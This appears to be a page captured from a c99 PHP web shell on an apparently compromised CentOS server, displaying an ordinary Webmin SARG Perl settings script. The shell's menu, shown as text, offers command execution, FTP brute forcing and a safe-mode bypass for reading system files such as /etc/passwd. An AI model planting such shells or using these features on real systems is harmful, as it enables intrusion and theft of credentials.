!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sarg/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_style.cgi (1.51 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Save options for report colour styling

require './sarg-lib.pl';
&ReadParse();
$conf = &get_config();
$config_prefix = "style_";
&error_setup($text{'style_err'});

&lock_sarg_files();
if (&get_sarg_version() < 2.3) {
    &save_language($conf, "language");
    &save_language($conf, "charset");
    }
&save_opt_textbox($conf, "title", \&check_title);
&save_opt_textbox($conf, "title_color", \&check_colour);
&save_opt_textbox($conf, "font_face", \&check_font);
&save_opt_textbox($conf, "header_color", \&check_colour);
&save_opt_textbox($conf, "header_bgcolor", \&check_colour);
&save_opt_textbox($conf, "header_font_size", \&check_fontsize);
&save_opt_textbox($conf, "text_color", \&check_colour);
&save_opt_textbox($conf, "text_bgcolor", \&check_colour);

&save_opt_textbox($conf, "logo_image");
&save_opt_textbox($conf, "image_size", \&check_size);
&save_opt_textbox($conf, "logo_text");
&save_opt_textbox($conf, "logo_text_color", \&check_colour);

&save_opt_textbox($conf, "background_image");
&save_opt_textbox($conf, "background_color", \&check_colour);

&flush_file_lines();
&unlock_sarg_files();
&webmin_log("style");
&redirect("");

sub check_title
{
return $_[0] =~ /\S/ ? undef : $text{'style_etitle'};
}

sub check_colour
{
return $_[0] =~ /^\S+$/ ? undef : $text{'style_ecolour'};
}

sub check_font
{
return $_[0] =~ /^\S+$/ ? undef : $text{'style_efont'};
}

sub check_fontsize
{
return $_[0] =~ /^\-?\d+$/ ? undef : $text{'style_efontsize'};
}

sub check_size
{
return $_[0] =~ /^\d+\s+\d+$/ ? undef : $text{'style_esize'};
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--